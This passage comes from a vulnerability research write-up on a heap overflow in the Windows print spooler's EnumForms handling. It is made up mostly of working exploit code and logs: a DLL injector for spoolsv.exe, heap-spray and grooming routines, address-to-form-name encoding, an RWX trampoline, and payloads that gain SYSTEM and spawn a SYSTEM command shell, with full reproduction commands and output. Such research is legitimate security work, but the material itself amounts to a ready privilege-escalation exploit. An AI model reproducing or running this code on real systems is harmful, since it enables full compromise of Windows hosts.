 WaitForSingleObject(hThread, 10000);
 GetExitCodeThread(hThread, &exitCode);
 if (exitCode == 0) {
 printf("[-] LoadLibrary returned NULL -- DLL load failed\n");
 printf(" Check if the DLL exists and is 64-bit\n");
 } else {
 printf("[+] DLL loaded at 0x%08X in spoolsv\n", exitCode);
 }

 printf("[*] Waiting for the payload to stream its staged output...\n");
 if (!RelayPayloadOutput(hPipe, 5000, 30000)) {
 printf("[*] This payload did not stream live;\n");
 printf(" see C:\\Windows\\Temp\\enumforms_inject_log.txt for its staged log.\n");
 }

 DWORD spoolPid = FindProcessByName(L"spoolsv.exe");
 if (spoolPid == pid) {
 printf("[+] spoolsv.exe still running (PID %u)\n", spoolPid);
 } else if (spoolPid) {
 printf("[!] spoolsv.exe restarted (new PID %u, was %u)\n", spoolPid, pid);
 printf(" *** CRASH DETECTED -- vulnerability confirmed! ***\n");
 } else {
 printf("[!] spoolsv.exe is DEAD!\n");
 printf(" *** CRASH DETECTED -- vulnerability confirmed! ***\n");
 }

 CloseHandle(hThread);
 VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
 CloseHandle(hProcess);
 DisconnectNamedPipe(hPipe);
 CloseHandle(hPipe);

 printf("\n[*] SYSTEM token proof also written to C:\\Windows\\Temp\\EXPLOITED.txt\n");
 return 0;
}
```

The step-by-step procedure to reproduce the exploitation on Windows 11 Canary build, using both exploit variants, follows below, but it is important to highlight a small restriction we have here: on modern Windows versions, even logged on as Administrator, we do not have High-IL admin token with SeDebugPrivilege, only a medium token without SeDebugPrivilege. Regardless of the condition, with SeDebugPrivilege enabled or disabled, what matter is that this privilege must be present. If it is, the injector enables the privilege, and everything works as expected.

First, the procedure using exploit [variant A](#):

```
C:\Users\Administrator\ers11> ver
```

Microsoft Windows [Version 10.0.29683.1000]

```
C:\Users\Administrator\ers11> powershell -c "Stop-Service Spooler -Force; taskkill /F /IM WerFault.exe 2>$null; taskkill /F /IM spoolsv.exe 2>$null; Start-Sleep 2; Start-Service Spooler"
```

```
C:\Users\Administrator\ers11> powershell -c "Get-Service Spooler"
```

| Status  | Name    | DisplayName   |
|---------|---------|---------------|
| Running | Spooler | Print Spooler |

```
C:\Users\Administrator\ers11> powershell -c "(Get-Item C:\Windows\System32\spoolss.dll).VersionInfo.FileVersion"
```

10.0.29683.1000 (WinBuild.160101.0800)

```
C:\Users\Administrator\ers11> powershell -c "Get-FileHash C:\Windows\System32\spoolsv.exe -Algorithm SHA256"
```

| Algorithm | Hash                                                             | Path                            |
|-----------|------------------------------------------------------------------|---------------------------------|
| SHA256    | 9BD943AAF6925609DE67127D3ECFF02996816B8AEF0004F22925AA78CA47C1A5 | C:\Windows\System32\spoolsv.exe |

```
C:\Users\Administrator\ers11> call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"
```

```
C:\Users\Administrator\ers11> cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS exploit_stage4_exec_clean.c /Fe:payload_token.dll
```

Microsoft (R) C/C++ Optimizing Compiler Version 19.34.31937 for x64  
Copyright (C) Microsoft Corporation. All rights reserved.

exploit\_stage4\_exec\_clean.c  
Microsoft (R) Incremental Linker Version 14.34.31937.0  
Copyright (C) Microsoft Corporation. All rights reserved.

```
/dll
/implib:payload_token.lib
/out:payload_token.dll
exploit_stage4_exec_clean.obj
```

```
C:\Users\Administrator\ers11> powershell -c "Get-Process spoolsv"
```

| Handles | NPM(K) | PM(K) | WS(K) | CPU(s) | Id    | SI | ProcessName |
|---------|--------|-------|-------|--------|-------|----|-------------|
| 434     | 21     | 3896  | 17988 | 0.20   | 14316 | 0  | spoolsv     |

```
C:\Users\Administrator\ers11> inject_enumforms.exe payload_token.dll
```

```
=====
spoolsv.exe DLL Injector for YEnumForms Test
=====
```

```
[*] DLL: C:\Users\Administrator\ers11\payload_token.dll
[+] SeDebugPrivilege enabled
[+] spoolsv.exe PID: 14316
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000000810000
[*] Injecting DLL into spoolsv.exe...
[+] Remote thread created. Waiting for DLL to execute...
[+] Thread completed. Exit code: 0x6E7A0000
[+] DLL loaded at 0x6E7A0000 in spoolsv
[+] spoolsv.exe still running (PID 14316)

[*] Check C:\Windows\Temp\enumforms_inject_log.txt for results
```

```
C:\Users\Administrator\ers11> powershell -c "Get-Process spoolsv"
```

| Handles | NPM(K) | PM(K) | WS(K) | CPU(s) | Id    | SI | ProcessName |
|---------|--------|-------|-------|--------|-------|----|-------------|
| 541     | 26     | 6000  | 26068 | 0.41   | 14316 | 0  | spoolsv     |

```
C:\Users\Administrator\ers11> cat C:\Windows\Temp\enumforms_inject_log.txt
```

```
=====
EXPLOIT STAGE 4: Code Execution via Heap Overflow
PID: 14316 (spoolsv.exe, NT AUTHORITY\SYSTEM)
=====
STEP 0: BUILD TRAMPOLINE AND ENCODE TARGET ADDRESS
=====
[*] Step 0: Preparing shellcode function
 shellcode_func at: 0x00007FF86E7A1D00
 Address bytes: 00 1D 7A 6E F8 7F 00 00
 [+] Address is null-free; encoding it directly (no trampoline)
 Form name encoding: L"\x1D00\x6E7A\x7FF8" + null
 Decoded address: 0x00007FF86E7A1D00 (MATCH!)
[+] Step 0 complete: callback value ready

=====
STEP 1: RESOLVE ROUTER EXPORTS AND OPEN PRINTER
=====
[*] spoolss.dll at 0x00007FF869A00000
 [+] OpenPrinterW/EnumFormsW/ClosePrinter/AddFormW/DeleteFormW resolved
 [+] Printer handle: 0x00000000000062C920
[+] Step 1 complete: router ready, local print server opened

=====
STEP 2: PLANT FORM WHOSE NAME ENCODES THE ADDRESS
=====
[*] Step 2: Adding form with encoded address name
 [+] Form added
[+] Step 2 complete: attacker bytes are now in the form store

=====
STEP 3: MEASURE LAYOUT (needed, custom_off)
=====
[*] Step 3: needed=12090, forms=0
 Custom form at index 174, string at buf+0x1B58
[+] Step 3 complete: our name packs at buf+0x1B58 in an honest buffer

=====
STEP 4: SPRAY CALLBACK OBJECTS AND OPEN HOLES
=====
[*] Step 4: Spraying callback objects (size=0x2F3A)
 [+] Sprayed 300 SPRAY_OBJ blocks (marker 0xCAFEBAFE)
 [+] Freed every 4-th block to open holes
[+] Step 4 complete: heap groomed

=====
STEP 5: PLACE VICTIM BUFFER AND FIND THE NEIGHBOR
=====
 buffer at 0000000002399070
 target spray[287] at 000000000239C080 (delta=0x3010)
[+] Step 5 complete: victim dropped next to spray[287]

=====
STEP 6: PRECISION OVERFLOW (cbBuf = needed + shift)
=====
```

```
[*] Step 6: Precision overflow
 custom_off=0x1B58, delta=0x3010, shift=0x14B8, cbBuf=0x43F2
 Overflow triggered: ret=175
[+] Step 6 complete: packed name deposited at the neighbor
```

```
=====
STEP 7: VERIFY THE CORRUPTION AND EXECUTE
=====
```

```
[*] Step 7: Checking target corruption
 target->callback = 0x00007FF86E7A1D00
 shellcode_addr = 0x00007FF86E7A1D00
 target->marker = 0x0061004A (was 0xCAFEBAFE)

[!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!
[!!!] Calling through corrupted pointer...

[!!!] SHELLCODE EXECUTED SUCCESSFULLY!
[!!!] Check C:\Windows\Temp\EXPLOITED.txt for proof.
[+] Step 7 complete
```

```
=====
EXPLOIT COMPLETE. spoolsv.exe PID=14316 still running.
=====
```

Now the procedure using exploit [variant B](#):

```
C:\Users\Administrator\ers11> powershell -c "Stop-Service Spooler -Force; taskkill /F /IM
WerFault.exe 2>$null; taskkill /F /IM spoolsv.exe 2>$null; Start-Sleep 2; Start-Service Spooler"
```

```
C:\Users\Administrator\ers11> powershell -c "Get-Process spoolsv"
```

| Handles | NPM(K) | PM(K) | WS(K) | CPU(s) | Id   | SI | ProcessName |
|---------|--------|-------|-------|--------|------|----|-------------|
| 171     | 14     | 2020  | 9664  | 0.03   | 6600 | 0  | spoolsv     |

```
C:\Users\Administrator\ers11> call "C:\Program Files\Microsoft Visual
Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"
```

```
C:\Users\Administrator\ers11> cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS exploit_stage4_shell_clean.c
/Fe:payload_shell.dll
```

```
Microsoft (R) C/C++ Optimizing Compiler Version 19.34.31937 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
exploit_stage4_shell_clean.c
Microsoft (R) Incremental Linker Version 14.34.31937.0
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
/dll
/implib:payload_shell.lib
/out:payload_shell.dll
exploit_stage4_shell_clean.obj
```

```
C:\Users\Administrator\ers11>inject_enumforms.exe payload_shell.dll
```

```
=====
spoolsv.exe DLL Injector for YEnumForms Test
=====
```

```
[*] DLL: C:\Users\Administrator\ers11\payload_shell.dll
[+] SeDebugPrivilege enabled
[+] Relay pipe ready: \\.\pipe\ers11_enumforms
[+] spoolsv.exe PID: 12916
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000001130000
[*] Injecting DLL into spoolsv.exe...
[+] DLL loaded at 0x69A20000 in spoolsv
```

```
[*] Waiting for the payload to stream its staged output...
---- begin payload (spoolsv.exe, Session 0, NT AUTHORITY\SYSTEM) ----
=====
EXPLOIT STAGE 4: Code Execution via Heap Overflow
PID: 12916 (spoolsv.exe, NT AUTHORITY\SYSTEM)
=====

=====
STEP 0: BUILD TRAMPOLINE AND ENCODE TARGET ADDRESS
=====
[*] Step 0: Preparing shellcode function
 shellcode_func at: 0x00007FF869A21E70
 Address bytes: 70 1E A2 69 F8 7F 00 00
 [+] Address is null-free; encoding it directly (no trampoline)
 Form name encoding: L"\x1E70\x69A2\x7FF8" + null
 Decoded address: 0x00007FF869A21E70 (MATCH!)
[+] Step 0 complete: callback value ready

=====
STEP 1: RESOLVE ROUTER EXPORTS AND OPEN PRINTER
=====
[*] spoolss.dll at 0x00007FF865F60000
 [+] OpenPrinterW/EnumFormW/ClosePrinter/AddFormW/DeleteFormW resolved
 [+] Printer handle: 0x000000000156C920
[+] Step 1 complete: router ready, local print server opened

=====
STEP 2: PLANT FORM WHOSE NAME ENCODES THE ADDRESS
=====

[*] Step 2: Adding form with encoded address name
 [+] Form added
[+] Step 2 complete: attacker bytes are now in the form store

=====
STEP 3: MEASURE LAYOUT (needed, custom_off)
=====

[*] Step 3: needed=12090, forms=0
 Custom form at index 174, string at buf+0x1B58
[+] Step 3 complete: our name packs at buf+0x1B58 in an honest buffer

=====
STEP 4: SPRAY CALLBACK OBJECTS AND OPEN HOLES
=====

[*] Step 4: Spraying callback objects (size=0x2F3A)
 [+] Sprayed 300 SPRAY_OBJ blocks (marker 0xCAFEBAE)
 [+] Freed every 4-th block to open holes
[+] Step 4 complete: heap groomed

=====
STEP 5: PLACE VICTIM BUFFER AND FIND THE NEIGHBOR
=====
 buffer at 00000000027BA7E0
 target spray[283] at 00000000027BD7F0 (delta=0x3010)
[+] Step 5 complete: victim dropped next to spray[283]

=====
STEP 6: PRECISION OVERFLOW (cbBuf = needed + shift)
=====

[*] Step 6: Precision overflow
 custom_off=0x1B58, delta=0x3010, shift=0x14B8, cbBuf=0x43F2
 Overflow triggered: ret=175
[+] Step 6 complete: packed name deposited at the neighbor
```

```
=====
STEP 7: VERIFY THE CORRUPTION AND EXECUTE
=====
```

```
[*] Step 7: Checking target corruption
target->callback = 0x00007FF869A21E70
shellcode_addr = 0x00007FF869A21E70
target->marker = 0x0061004A (was 0xCAFEBAE)

[!!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!
[!!!!] Calling through corrupted pointer...
```

```
=====
EXPLOIT PROOF: Code Execution as SYSTEM
spoolsv.exe EnumForms Heap Overflow (CWE-122 / CWE-787)
=====
```

```
Process: spoolsv.exe (PID 12916)
Token User: NT AUTHORITY\SYSTEM
Token SID: S-1-5-18
Token Privileges: 5
 SeAssignPrimaryTokenPrivilege [Disabled]
 SeTcbPrivilege [Enabled]
 SeAuditPrivilege [Enabled]
 SeChangeNotifyPrivilege [Enabled]
 SeImpersonatePrivilege [Enabled]
Integrity Level: SYSTEM (0x4000)

[*] Spawning SYSTEM shell in user session...
[*] Target session: 2
[+] SYSTEM shell created! PID: 11608
[+] Shell token SID: S-1-5-18
[!!!!] SHELLCODE EXECUTED SUCCESSFULLY!
[!!!!] Check C:\Windows\Temp\EXPLOITED.txt for proof.
[+] Step 7 complete
```

```
=====
EXPLOIT COMPLETE. spoolsv.exe PID=12916 still running.
=====
```

```
---- end payload ----
```

```
[+] spoolsv.exe still running (PID 12916)

[*] SYSTEM token proof also written to C:\Windows\Temp\EXPLOITED.txt

C:\Users\Administrator\ers11>
```

You have to see a [terminal being opened as SYSTEM](#) on target system. Game over.

## 10. Notes about exploitation

The most important fact to be reinforced is that DLL injection requires admin access and also that SeDebugPrivilege need to be present, regardless of being disabled or enabled. As I explained a few sections ago, I just tried once, and only once, to find a way to compromise the target system remotely via this vulnerability. Readers should examine possible paths to be sure that such a vulnerability cannot be used to remote exploitation because, eventually, Microsoft will not fix it and, in the future, a bigger issue might occur.

The sequence that both exploits followed was **overflow** → **four stages** → **SYSTEM**, where such stages are **groom**, **corrupt**, **control** and **execution**. As usual, special attention must be dedicated to cleanup, and both exploits delete, via **DeleteFormW** function, their planted form and frees their allocations, not leaving any user form behind.

The injector itself does not present any news, and maybe (maybe...) the only point that is valid to comment on is that I had coded it using **SE\_DEBUG\_NAME** and not the literal ANSI string "**SeDebugPrivilege**", which caused failure once it was passed to **LookupPrivilegeValueW** function. At the end, the privilege was never enabled.

In the second exploit, it is necessary to choose which session to drop the visible shell into. It turns out that **spoolsv.exe** runs in session 0, which does not have desktop, and **WTSGetActiveConsoleSessionId** function returns the physical console, which is empty when the admin is on RDP or a Hyper-V enhanced session, so a shell sent there is literally invisible. Thus, instead of following this approach, it is much more reliable to enumerate sessions and pick up the first one in the **WTSActive** state, and only fall back to the console if no active session is found.

Grooming is **Stage 01**, but it appears as Step 4 because at run time it has to happen after the size has been negotiated. Based on it, the object we spray defines the eventual target:

```
typedef void (*PFN_CALLBACK)(void);
typedef struct _SPRAY_OBJ {
 PFN_CALLBACK callback; // the field we will overwrite
 DWORD marker; // 0xCAFEBABE
 DWORD index; // which spray slot this is
 BYTE padding[1];
} SPRAY_OBJ;
#define SPRAY_COUNT 300
#define HOLE_INTERVAL 4
```

The grooming itself is given by the following code:

```
LOG("\n[*] Step 4: Spraying callback objects (size=0x%X)\n", needed);
g_heap = GetProcessHeap();
for (i = 0; i < SPRAY_COUNT; i++) {
 g_spray[i] = (SPRAY_OBJ *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
 if (g_spray[i]) {
 g_spray[i]->callback = NULL;
 g_spray[i]->marker = 0xCAFEBABE;
 g_spray[i]->index = i;
 }
}
for (i = HOLE_INTERVAL; i < SPRAY_COUNT; i += HOLE_INTERVAL) // make holes
 if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }

BYTE *buffer = (BYTE *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed); // victim → a hole

SPRAY_OBJ *target = NULL; LONGLONG min_d = 0x7FFFFFFF;
for (i = 0; i < SPRAY_COUNT; i++)
 if (g_spray[i]) {
 LONGLONG d = (LONGLONG)g_spray[i] - (LONGLONG)buffer;
 if (d > 0 && d < min_d) { min_d = d; target = g_spray[i]; }
 }
DWORD delta = (DWORD)min_d; // observed is about 0x2790
```

Examining the code, 300 objects of needed bytes are allocated and marked with a 0xCAFEBABE marker, which makes easier to recognize which bytes got "corrupted" later, and then every 4<sup>th</sup> allocation is freed to

make holes. The victim buffer, which is the `EnumForms` output buffer, is then allocated and dropped into one of those holes. The next step of this stage is to scan it, and we know that the neighbor is a `SPRAY_OBJ` whose first 8 bytes are a function pointer (currently NULL), with a value of "0xCAFEBABE" at offset 0x8. In general terms, we have:

- `SPRAY_OBJ` (size = needed): callback at offset 0 | marker (0xCAFEBABE) at offset 8 | ....
- The 8-byte function pointer (callback) will be overwritten.
- `[SPRAY] [hole → victim buffer] [VS header | SPRAY_OBJ (survivor)] [SPRAY]`

**Stage 02** confirms that we can reach the adjacent object before evaluating or considering anything about precision. Basically, we increase `cbBuf` parameter to slide the packed string block just past the victim's end, and any copied form names will overwrite the first bytes of VS header (`_HEAP_VS_CHUNK_HEADER`) of the adjacent object/structure. At this stage the goal is to prove that we can reach the neighbor, and not control which bytes and where to land, which will be managed in stages 03 and 04, respectively. In general terms, we have:

- `[victim buffer] [VS header] [SPRAY_OBJ]`
- corrupting the 16-byte of VS header proves that we can reach, but actually we cannot do it.
- `[victim buffer] [VS header -- untouched] [SPRAY_OBJ: callback @0x0 | marker @0x8 | ...]`
- VS header will be kept untouched (spoolsv survives), and we will only overwrite the callback field.

**Stage 03** we inject controlled content via `AddFormW` function through the following code block:

```
LOG("\n[*] Step 2: Adding form with encoded address name\n");
{
 typedef struct { DWORD Flags; LPWSTR pName; SIZEL Size; RECTL ImageableArea; } MY_FORM_INFO_1;
 MY_FORM_INFO_1 fi = {0};
 fi.Flags = 0;
 fi.pName = g_form_name;
 fi.Size.cx = 215900; fi.Size.cy = 279400; // 8.5x11in in 1000ths mm (a real Letter size)
 fi.ImageableArea.right = 215900; fi.ImageableArea.bottom = 279400;
 pDeleteForm(hPrinter, g_form_name);
 if (pAddForm(hPrinter, 1, (LPBYTE)&fi)) LOG(" [+] Form added\n");
 else LOG(" [-] AddForm: %u\n", GetLastError());
}
```

`AddFormW` function required a plausible `FORM_INFO_1`, and hence the real Letter dimensions, but the key field for us is `pName`, which we choose appropriately because we will locate our own form by reading exactly the `pName` field of each record and then calculate the offset of our name string within the buffer, as shown below:

```
pEnum(hPrinter, 1, NULL, 0, &needed, &returned);
LOG("\n[*] Step 3: needed=%u, forms=%u\n", needed, returned);

DWORD custom_off = 0;
{
 BYTE *tmp = (BYTE *)HeapAlloc(GetProcessHeap(), 0, needed);
 if (tmp) {
 DWORD n = 0, r = 0;
 __try { pEnum(hPrinter, 1, tmp, needed, &n, &r); } __except(1) {}
 for (i = 0; i < (int)r; i++) {
 wchar_t *name = *(wchar_t **)(tmp + i*40 + 8); // FORM_INFO_1[i].pName
 if (name && wcscmp(name, g_form_name) == 0) {
 custom_off = (DWORD)((BYTE *)name - tmp); // our string's offset in buf
 LOG(" Custom form at index %d, string at buf+0x%X\n", i, custom_off);
 break;
 }
 }
 }
}
```

```
 }
 HeapFree(GetProcessHeap(), 0, tmp);
}
}
```

```
if (custom_off == 0) { LOG("[~] Cannot find custom form string\n"); goto done; }
```

**Stage 04** manages the precision to place the content exactly where we want. At this phase, the most interesting fact is that the exploit does not overwrite the VS header, but skip it by calculating the exact point of landing by controlling cbBuf parameter, which works like a "shift" to forward data after the header:

- $\text{custom\_off} + \text{shift} = \text{delta}$
- $\text{shift} = \text{delta} - \text{custom\_off}$
- $\text{cbBuf} = \text{needed} + \text{shift} = \text{needed} + (\text{delta} - \text{custom\_off})$

That is the whole trick, and in the exploit it is three lines:

```
DWORD shift = delta - custom_off;
DWORD cbBuf = needed + shift;
__try {
 DWORD n = 0, r = 0;
 pEnum(hPrinter, 1, buffer, cbBuf, &n, &r); // SEH-wrapped: must NOT crash
} __except(EXCEPTION_EXECUTE_HANDLER) { LOG(" EXCEPTION during overflow\n"); }
```

Controlling cbBuf parameter this way allows us also to control [PackStrings](#) routine, which places the string that we named exactly at first field (callback) of the target ([SPRAY\\_OBJ.callback](#)). Therefore, we control "what" and "where" the content is placed, and managed to prevent the corruption of VS header, which certainly would kill the target application.

- **regular cbBuf = needed:** `buffer[ .... name@custom_off .... ]` (inside of buffer | harmless)
- **attack cbBuf = needed + shift , shift = delta - custom\_off:** `buffer[ .... ] [VS | spray_obj [ name@0x0 ... ]`, where we overwrite the target + 0x0, and which is the callback (function pointer).
- "name" lands at  $\text{buffer} + \text{custom\_off} + \text{shift} = \text{buffer} + \text{delta} = \text{target} + 0x0$  (callback)

Once `target→callback` field has been overwritten, calling `target→callback( )` will transfer the control to where we want. However, the address must be encoded as a form name, and such task is done by the following part of the code:

```
static void encode_address_as_form_name(UINT_PTR addr, wchar_t *name, int max_len) {
 BYTE *bytes = (BYTE *)&addr; int i, wchar_count = 0;
 name[0] = 0;
 for (i = 0; i < 8; i += 2) {
 wchar_t wc = (wchar_t)(bytes[i] | (bytes[i+1] << 8));
 if (wc == 0) break; // NUL word terminates (supplies high 0x0000)
 name[wchar_count++] = wc;
 if (wchar_count >= max_len - 1) break;
 }
 name[wchar_count] = 0;
}
```

As an example, 0x00007FFF8BC1B90 is transformed to L"\x1B90\xF8BC\x7FFF", and most important, whose implicit terminator provides the top "0x0000". By coincidence, this particular address does not have NULL word in its lower three word, so it encoded directly and it is used as the callback value, but this is not the general and common case, unfortunately, and we will have a series of addresses where a low NULL word would truncate the string and force a trampoline. Thus, the exploit logs the encoding and also

decode it back to verify a correct match before proceeding, and such a procedure is necessary to avoid issues later. The piece of code used for this task follows below:

```
encode_address_as_form_name(shellcode_addr, g_form_name, 128);
LOG(" Form name encoding: L\"");
for (i = 0; g_form_name[i]; i++) LOG("\\x%04X", g_form_name[i]);
LOG("\\n");
UINT_PTR decoded = 0; BYTE *dec = (BYTE *)&decoded;
for (i = 0; g_form_name[i] && i < 4; i++) { dec[i*2] = g_form_name[i] & 0xFF; dec[i*2+1] =
g_form_name[i] >> 8; }
LOG(" Decoded address: 0x%p %s\\n", (void*)decoded, decoded == shellcode_addr ? "(MATCH!)" :
(MISMATCH!));
```

Based on the code above, encoding the target address as a form name (direct or via a trampoline) can be interpreted as:

- address = 0x00007FFFF8BC1B90 → little-endian representation: 90 1B BC F8 FF 7F 00 00
- as words: 0x1B90 0xF8BC 0x7FFF 0x0000 → wide string representation: L"\x1B90\xF8BC\x7FFF"
- Check whether low three words are all non-zero:
  - YES → encode the address directly: callback = &shellcode\_func (this example)
  - NO → a NULL word would truncate the string, so it is necessary:
    - Allocate a null-free executable page (given as T) and place a trampoline there, then encode T by following this composition: 48 B8<&shellcode\_function> FF E0 (mov rax... jmp rax).
- In any case, the wide-character string ends at its first NUL character.

As I commented above, most real function addresses often contain an embedded NULL word in their low bytes, which would truncate the encoded string. Thus, instead of encoding &shellcode\_func directly, we should allocate an executable address without any NULL bytes, and place a trampoline there, which will jump to the real function. The follow piece of code reflects it:

```
UINT_PTR shellcode_addr = (UINT_PTR)&shellcode_func;
BYTE *addr_bytes = (BYTE *)&shellcode_addr;
BOOL has_null_wchar = FALSE;
for (i = 0; i < 6; i += 2) { // scan the low 3 words
 wchar_t wc = (wchar_t)(addr_bytes[i] | (addr_bytes[i+1] << 8));
 if (wc == 0) { has_null_wchar = TRUE; break; }
}
if (has_null_wchar) {
 for (UINT_PTR try_addr = 0x10010000; try_addr < 0x7FFF0000; try_addr += 0x10000) {
 BYTE *tb = (BYTE *)&try_addr;
 wchar_t w0 = tb[0] | (tb[1] << 8), w1 = tb[2] | (tb[3] << 8);
 if (w0 && w1) { // no NUL word in the low 4 bytes
 g_shellcode = VirtualAlloc((PVOID)try_addr, 4096, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
 if (g_shellcode) {
 BYTE *code = (BYTE *)g_shellcode;
 code[0] = 0x48; code[1] = 0xB8; // mov rax, imm64
 *(UINT_PTR *)(&code + 2) = shellcode_addr;
 code[10] = 0xFF; code[11] = 0xE0; // jmp rax
 shellcode_addr = (UINT_PTR)g_shellcode; // encode this null-free address
 break;
 }
 }
 }
}
```

Now the `shellcode_addr` is free of NULL bytes and encodes cleanly, so jump into it runs "mov eax, &shellcode\_func; jmp rax". Finally, the `VirtualAlloc((PVOID)try_addr,...)` call asks for a specific base address, and if that address is free, it is granted, which is how we choose a base with the byte pattern we need.

So far, we have established the correct form name, which is set to the encode trampoline address. Thus, it is time to verify and call it, as shown below:

```
__try {
 UINT_PTR written_ptr = (UINT_PTR)target->callback;
 LOG(" target->callback = 0x%p\n", (void *)written_ptr);
 LOG(" shellcode_addr = 0x%p\n", (void *)shellcode_addr);
 LOG(" target->marker = 0x%08X (was 0xCAFEBAE)\n", target->marker);
 if (written_ptr == shellcode_addr) {
 LOG("\n [!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!\n");
 target->callback(); // -> trampoline -> shellcode_func
 LOG(" [!!!] SHELLCODE EXECUTED SUCCESSFULLY!\n");
 }
} __except(EXCEPTION_EXECUTE_HANDLER) {
 LOG(" EXCEPTION 0x%08X during callback check\n", GetExceptionCode());
}
```

Based on the code above, `target` → `callback` hold the same value as `shellcode_addr`, and an indirect call runs the trampoline, which jumps to `shellcode_func`. The key fact here is that everything happens in a spooler thread, like `SYSTEM`. As the overflow wrote valid heap memory, the process does not crash, and `spoolsv.exe` keeps running. If you are not sure that the hit on `callback` was precise, check the value of the marker at offset 0x8, and whether 0xCAFEBAE is still there, so everything is correct.

The exploitation process itself demonstrate out-of-bounds write, and such a write operation lands on a groomable and adjacent chunk, and we control both bytes written and destination (an eight byte field). If we check, the `EnumForms` API is callable by an unprivileged caller, but the write that corrupts `spoolsv`'s heap exists only inside the spooler process, and therefore requires the code injection, which also demands admin followed by `SeDebugPrivilege`. As we have managed to write onto a callable pointer owned by the spooler or even a data pointer that the spooler follow, so we can perform operations as `SYSTEM`. Basically, the operation has the following flow:

- `target` → `callback` | `target` → `&shellcode_func` → `OpenProcessToken` → `NT AUTHORITY\SYSTEM` → write `EXPLOIT.txt` → `CreateProcessW` → `cmd.exe` → `SYSTEM` execution

As we have mentioned `shellcode_func` routine, it follows below:

```
static void __cdecl shellcode_func(void) {
 HANDLE hToken = NULL; char buf[4096]; int pos = 0; DWORD written; HANDLE hFile;
 pos += sprintf_s(buf+pos, sizeof(buf)-pos, "Process: spoolsv.exe (PID %u)\r\n",
 GetCurrentProcessId());
 if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
 BYTE tu[256]; DWORD rl = 0;
 if (GetTokenInformation(hToken, TokenUser, tu, sizeof(tu), &rl)) {
 WCHAR name[128]={0}, dom[128]={0}; DWORD nl=128, dl=128; SID_NAME_USE use;
 if (LookupAccountSidW(NULL, ((TOKEN_USER*)tu)->User.Sid, name,&nl, dom,&dl, &use))
 pos += sprintf_s(buf+pos, sizeof(buf)-pos, "Token User: %S\\%S\r\n", dom, name);
 LPWSTR sid=NULL;
 if (ConvertSidToStringSidW(((TOKEN_USER*)tu)->User.Sid, &sid)) {
 pos += sprintf_s(buf+pos, sizeof(buf)-pos, "Token SID: %S\r\n", sid);
 LocalFree(sid);
 }
 }
 }
 /* ... enumerate TokenPrivileges and TokenIntegrityLevel similarly ... */
}
```

```

 CloseHandle(hToken);
 }
 /* spawn cmd.exe (Session 0 for this variant) */
 STARTUPINFO si = { .cb = sizeof si }; PROCESS_INFORMATION pi = {0};
 WCHAR sysDir[MAX_PATH], cmd[MAX_PATH]; GetSystemDirectoryW(sysDir, MAX_PATH);
 swprintf_s(cmd, MAX_PATH, L"%s\\cmd.exe", sysDir);
 CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
 hFile = CreateFileA("C:\\Windows\\Temp\\EXPLOITED.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
0, NULL);
 if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, buf, pos, &written, NULL);
CloseHandle(hFile); }
}

```

The second payload is almost identical to the first one, but it moves the new process out of session to the interactive desktop, so we get a shell that we can see and type in. Actually, two things differ, a small [pick\\_interactive\\_session](#) procedure helper and a kind of tail of [shellcode\\_func](#) routine:

```

/* duplicate our SYSTEM token, retarget it to the interactive session, and launch
cmd.exe on that desktop. buf/pos are the SAME proof buffer the token dump above
already filled, so these lines land in EXPLOITED.txt too. */

HANDLE hSysToken = NULL, hNewToken = NULL; BOOL shellOk = FALSE;
STARTUPINFO si = { .cb = sizeof si, .lpDesktop = L"WinSta0\\Default" };
PROCESS_INFORMATION pi = {0};
WCHAR sysDir[MAX_PATH], cmd[MAX_PATH]; GetSystemDirectoryW(sysDir, MAX_PATH);
swprintf_s(cmd, MAX_PATH, L"%s\\cmd.exe", sysDir);
pos += sprintf_s(buf+pos, sizeof(buf)-pos, "\r\n[*] Spawning SYSTEM shell in user session...\r\n");

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hSysToken)) {
 if (DuplicateTokenEx(hSysToken, TOKEN_ALL_ACCESS, NULL,
 SecurityImpersonation, TokenPrimary, &hNewToken)) {
 DWORD sessionId = pick_interactive_session(); // the ACTIVE user session
 pos += sprintf_s(buf+pos, sizeof(buf)-pos, "[*] Target session: %lu\r\n", sessionId);
 SetTokenInformation(hNewToken, TokenSessionId, &sessionId, sizeof(DWORD));
 shellOk = CreateProcessAsUserW(hNewToken, NULL, cmd, NULL, NULL, FALSE,
 CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
 }
}

if (shellOk) {
 pos += sprintf_s(buf+pos, sizeof(buf)-pos, "[+] SYSTEM shell created! PID: %lu\r\n",
pi.dwProcessId);
 BYTE stu[256]; DWORD srl = 0; LPWSTR ssid = NULL; // confirm the spawned shell's SID
 if (GetTokenInformation(hNewToken, TokenUser, stu, sizeof(stu), &srl) &&
 ConvertSidToStringSidW((TOKEN_USER *)stu->User.Sid, &ssid)) {
 pos += sprintf_s(buf+pos, sizeof(buf)-pos, "[+] Shell token SID: %S\r\n", ssid);
 LocalFree(ssid);
 }
 CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
}
}

```

